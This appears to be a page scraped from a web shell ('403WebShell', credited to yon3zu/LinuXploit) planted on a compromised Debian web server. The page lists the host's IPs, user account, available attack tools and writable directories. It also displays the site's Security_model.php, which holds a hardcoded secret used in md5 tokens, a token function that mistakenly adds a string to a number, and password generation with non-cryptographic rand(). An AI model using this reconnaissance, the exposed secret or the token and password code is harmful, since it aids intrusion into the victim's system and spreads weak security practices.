Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.243.201
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/git/sms.edl.codes.solutions/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/git/sms.edl.codes.solutions/application/models/Security_model.php
<?php

if (!defined('BASEPATH'))
  exit('No direct script access allowed');

class Security_model extends CI_Model {


  function __construct() {
    parent::__construct();
  }

  function clean_json($text){
    return preg_replace("/\r|\n/", "",$text);
  }

  function clean_input($array){
    $cleanArray = array();
    foreach ($array as $key => $row) {
      if($key != "morning" && $key != "evening" && $key != "afternoon"){
        $row = htmlspecialchars($row);
        $cleanRow = strip_tags($row);
      }
      else{
        $cleanRow = $row;
      }
      $cleanArray[$key] = $cleanRow;
      //array_push($cleanArray, $cleanRow);
    }
    return $cleanArray;
  }
  function generateToken($id){
    $password = "sms2019EDL";
    $clear_token = $id+$password;
    return md5($clear_token);
  }
    function randomPass() {
    //Initialize the random password
    $password = '';

    //Initialize a random desired length
    $desired_length = rand(8, 12);

    for($length = 0; $length < $desired_length; $length++) {
      //Append a random ASCII character (including symbols)
      $password .= chr(rand(32, 126));
    }

    return $password;
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit